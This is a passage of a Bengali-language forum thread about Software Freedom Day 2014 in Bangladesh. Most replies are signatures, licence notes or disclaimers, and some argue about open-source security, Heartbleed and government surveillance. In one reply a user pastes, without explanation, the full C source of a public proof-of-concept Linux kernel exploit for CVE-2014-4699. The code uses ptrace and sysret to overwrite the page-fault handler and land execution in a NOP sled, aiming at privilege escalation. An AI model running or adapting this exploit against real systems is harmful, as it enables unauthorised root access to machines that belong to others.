২১

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

২২

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

লেখাটি LGPL এর অধীনে প্রকাশিত

২৩

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

Pro bono

২৪ সর্বশেষ সম্পাদনা করেছেন রিং (১৬-০৯-২০১৪ ২২:৪২)

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

রিং'এর ওয়েবসাইট

লেখাটি CC by-nc-sa 3.0 এর অধীনে প্রকাশিত

২৫ সর্বশেষ সম্পাদনা করেছেন সাইফুল_বিডি (১৭-০৯-২০১৪ ০০:০৬)

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

এই ব্যাক্তির সকল লেখা কাল্পনিক , জীবিত অথবা মৃত কারো সাথে মিল পাওয়া গেলে তা সম্পুর্ন কাকতালীয়, যদি লেখা জীবিত অথবা মৃত কারো সাথে মিলে যায় তার দায় এই আইডির মালিক কোনক্রমেই বহন করবেন না। এই ব্যক্তির সকল লেখা পাগলের প্রলাপের ন্যায় এই লেখা কোন প্রকার মতপ্রকাশ অথবা রেফারেন্স হিসাবে ব্যবহার করা যাবে না।

২৬ সর্বশেষ সম্পাদনা করেছেন রিং (১৭-০৯-২০১৪ ০০:২৮)

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

রিং'এর ওয়েবসাইট

লেখাটি CC by-nc-sa 3.0 এর অধীনে প্রকাশিত

২৭ সর্বশেষ সম্পাদনা করেছেন সাইফুল_বিডি (১৭-০৯-২০১৪ ০০:৪৬)

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

এই ব্যাক্তির সকল লেখা কাল্পনিক , জীবিত অথবা মৃত কারো সাথে মিল পাওয়া গেলে তা সম্পুর্ন কাকতালীয়, যদি লেখা জীবিত অথবা মৃত কারো সাথে মিলে যায় তার দায় এই আইডির মালিক কোনক্রমেই বহন করবেন না। এই ব্যক্তির সকল লেখা পাগলের প্রলাপের ন্যায় এই লেখা কোন প্রকার মতপ্রকাশ অথবা রেফারেন্স হিসাবে ব্যবহার করা যাবে না।

২৮ সর্বশেষ সম্পাদনা করেছেন রিং (১৭-০৯-২০১৪ ০১:০২)

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

রিং'এর ওয়েবসাইট

লেখাটি CC by-nc-sa 3.0 এর অধীনে প্রকাশিত

২৯ সর্বশেষ সম্পাদনা করেছেন উন্মাতাল_তারুণ্য (১৭-০৯-২০১৪ ০১:১৬)

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

আমি বড় মানুষ একটা ছোট কথা জানতে চাই। শুনেছি heartbleed ওয়ালা OpenSSL নাকি রিপোতে পাওয়া যাইত? এইটা নাকি মুক্ত মানুষের বদলে একটা সরকারি এজেন্সি আবিষ্কার করছিল? তাইলে রিপো মেইনটেইনাররা কি করতেছিল?

মুক্ত সফটওয়্যার ভাল জিনিস। এর প্রচারে ঢোল-বাদ্যি বাজানোও ভাল জিনিস। কিন্তু বাজনার তাল-লয়-মাত্রা জ্ঞান থাকা আবশ্যক। তবলার উপর চাটি মারতে পারলেই কি আর তবলচি হওয়া যায়? সেটা কি মানুষকে বিরক্তি বৈ আনন্দ দিতে পারে?

৩০

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

আহা, কতিপয় জ্ঞানী ব্যাক্তির সিকিউরিটি সম্পর্কে জ্ঞান দেখে চোখে পানি চলে আসলো।

আমি পাগল - কোন সমস্যা?

৩১

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

/**
 * CVE-2014-4699 ptrace/sysret PoC
 * by Vitaly Nikolenko
 * vnik@hashcrack.org
 *
 * > gcc -O2 poc_v0.c
 *
 * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
 * following will trigger the #GP in sysret and overwrite the #PF handler so we
 * can land to our NOP sled mapped at 0x80000000.
 * However, once landed, the IDT will be trashed. We can either attempt to
 * restore it (then escalate privileges and execute our shellcode) or find
 * something else to overwrite that would transfer exec flow to our controlled
 * user-space address. Since 3.10.something, IDT is read-only anyway. If you
 * have any ideas, let me know.
 */
   
#include <stdio.h>
#include <stdint.h>
#include <assert.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/mman.h>
#include <errno.h>
  
#define SIZE  0x10000000
  
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
  
unsigned long __user_cs;
unsigned long __user_ss;
unsigned long __user_rflags;
  
void __attribute__((regparm(3))) payload() {
    uint32_t *fixptr = (void*)0xffffffff81dd70e8;
    // restore the #PF handler
    *fixptr = -1;
    //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
    //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
    //commit_creds(prepare_kernel_cred((uint64_t)NULL));
  
    //__asm__ volatile ("swapgs\n\t"
    //        "...");
}
  
int main() {
    struct user_regs_struct regs;
    uint8_t *trampoline, *tmp;
    int status;
  
    struct {
        uint16_t limit;
        uint64_t addr;
    } __attribute__((packed)) idt;
  
        // MAP_POPULATE so we don't trigger extra #PF
    trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
    assert(trampoline == 0x80000000);
    memset(trampoline, 0x90, SIZE);
        tmp = trampoline;
        tmp += SIZE-1024;
        memcpy(tmp, &payload, 1024);
    memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
  
    pid_t chld;
  
        if ((chld = fork()) < 0) {
        perror("fork");
        exit(1);
    }
      
    if (chld == 0) {
        if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
            perror("PTRACE_TRACEME");
            exit(1);
        }
        raise(SIGSTOP);
        fork();
        return 0;
    }
  
    asm volatile("sidt %0" : "=m" (idt));
    printf("IDT addr = 0x%lx\n", idt.addr);
  
    waitpid(chld, &status, 0);
  
    ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
  
    ptrace(PTRACE_CONT, chld, 0, 0);
  
    waitpid(chld, &status, 0);
  
        ptrace(PTRACE_GETREGS, chld, NULL, &regs);
    regs.rdi = 0x0000000000000000;
    regs.rip = 0x8fffffffffffffff;
    regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
  
    // attempt to restore the IDT
    regs.rdi = 0x0000000000000000;
    regs.rsi = 0x81658e000010cbd0;
    regs.rdx = 0x00000000ffffffff;
    regs.rcx = 0x81658e000010cba0;
    regs.rax = 0x00000000ffffffff;
    regs.r8  = 0x81658e010010cb00;
    regs.r9  = 0x00000000ffffffff;
    regs.r10 = 0x81668e0000106b10;
    regs.r11 = 0x00000000ffffffff;
    regs.rbx = 0x81668e0000106ac0;
    regs.rbp = 0x00000000ffffffff;
    regs.r12 = 0x81668e0000106ac0;
    regs.r13 = 0x00000000ffffffff;
    regs.r14 = 0x81668e0200106a90;
    regs.r15 = 0x00000000ffffffff;
  
        ptrace(PTRACE_SETREGS, chld, NULL, &regs);
  
    ptrace(PTRACE_CONT, chld, 0, 0);
  
    ptrace(PTRACE_DETACH, chld, 0, 0);
}
এই ব্যাক্তির সকল লেখা কাল্পনিক , জীবিত অথবা মৃত কারো সাথে মিল পাওয়া গেলে তা সম্পুর্ন কাকতালীয়, যদি লেখা জীবিত অথবা মৃত কারো সাথে মিলে যায় তার দায় এই আইডির মালিক কোনক্রমেই বহন করবেন না। এই ব্যক্তির সকল লেখা পাগলের প্রলাপের ন্যায় এই লেখা কোন প্রকার মতপ্রকাশ অথবা রেফারেন্স হিসাবে ব্যবহার করা যাবে না।

৩২ সর্বশেষ সম্পাদনা করেছেন রিং (১৭-০৯-২০১৪ ০২:৪০)

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

রিং'এর ওয়েবসাইট

লেখাটি CC by-nc-sa 3.0 এর অধীনে প্রকাশিত

৩৩

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

এই ব্যাক্তির সকল লেখা কাল্পনিক , জীবিত অথবা মৃত কারো সাথে মিল পাওয়া গেলে তা সম্পুর্ন কাকতালীয়, যদি লেখা জীবিত অথবা মৃত কারো সাথে মিলে যায় তার দায় এই আইডির মালিক কোনক্রমেই বহন করবেন না। এই ব্যক্তির সকল লেখা পাগলের প্রলাপের ন্যায় এই লেখা কোন প্রকার মতপ্রকাশ অথবা রেফারেন্স হিসাবে ব্যবহার করা যাবে না।

৩৪ সর্বশেষ সম্পাদনা করেছেন রিং (১৭-০৯-২০১৪ ০২:৪৪)

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

রিং'এর ওয়েবসাইট

লেখাটি CC by-sa 3.0 এর অধীনে প্রকাশিত

৩৫

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

এই ব্যাক্তির সকল লেখা কাল্পনিক , জীবিত অথবা মৃত কারো সাথে মিল পাওয়া গেলে তা সম্পুর্ন কাকতালীয়, যদি লেখা জীবিত অথবা মৃত কারো সাথে মিলে যায় তার দায় এই আইডির মালিক কোনক্রমেই বহন করবেন না। এই ব্যক্তির সকল লেখা পাগলের প্রলাপের ন্যায় এই লেখা কোন প্রকার মতপ্রকাশ অথবা রেফারেন্স হিসাবে ব্যবহার করা যাবে না।

৩৬ সর্বশেষ সম্পাদনা করেছেন রিং (১৭-০৯-২০১৪ ০৩:২২)

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

রিং'এর ওয়েবসাইট

লেখাটি CC by-nc-sa 3.0 এর অধীনে প্রকাশিত

৩৭ সর্বশেষ সম্পাদনা করেছেন রেজওয়ানুর (১৭-০৯-২০১৪ ০৩:২১)

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

লেখাটি CC by 3.0 এর অধীনে প্রকাশিত

৩৮ সর্বশেষ সম্পাদনা করেছেন উন্মাতাল_তারুণ্য (১৭-০৯-২০১৪ ১৫:২৮)

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

৩৯

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

সাইফুল ভাইকে ধন্যবাদ ১ম মন্তব্যটি করার জন্য।
সাইফুল ভাই আপনি একটি গুরুত্বপূর্ণ ইস্যু তুলে ধরেছেন। বিভিন্ন দেশের সরকার নানান ইন্টারেস্ট থেকেই ব্যক্তিগত তথ্যে উকিঝুঁকি মারছে। তাই এটি বন্ধ করা বেশ দুরুহ ব্যাপার।
এক্ষেত্রে আমার মতামত হল আমি খালি মাঠে গোল দিতে দিব না। আমি আমার পক্ষ থেকে সর্বোচ্চ চেষ্ট করব যাতে করে আমার ব্যক্তিগত তথ্যে কেউ উকিঝুকি না মারতে পারে এবং এর জন্য নিজেকে একজন সচেতন প্রযুক্তি ব্যবহারকারী হিসেবে গড়ে তুলতে সচেষ্ট হব।

বাক্যবাগীশ ভাই।
আপনি আমার কাছে যা জানতে চেয়েছিলেন তার উত্তর আগেই রিং ভাই দিয়ে দিয়েছেন। সেটুকুই যথেষ্ট। আমি আর নতুন করে কিছু বললাম না।

প্রিয় সবাই!
প্রজন্ম ফোরামে এর আগে আমার কোন পোস্টে এতটা মন্তব্য/প্রতুত্তর আসেনি। সবাই মিলে যে উন্মুক্ত আলোচন করলেন এর জন্য আপনাদের সবাইকে ধন্যবাদ জানাচ্ছি।
আপনাদের আলোচনায় আমার যে বিষয়টা ভাল লাগল তা হল আমরা সবাই ব্যক্তিগত তথ্যচুরির বিষয়টি অবগত আছি। এই জানাই আমাদের ভবিষ্যৎ কর্মের পাথেয় হোক এই আশাই রইল।

৪০ সর্বশেষ সম্পাদনা করেছেন রিং (১৮-০৯-২০১৪ ০০:৪২)

Re: "সফটওয়্যার মুক্তি দিবস - ২০১৪" বাংলাদেশ

রিং'এর ওয়েবসাইট

লেখাটি CC by-nc-sa 3.0 এর অধীনে প্রকাশিত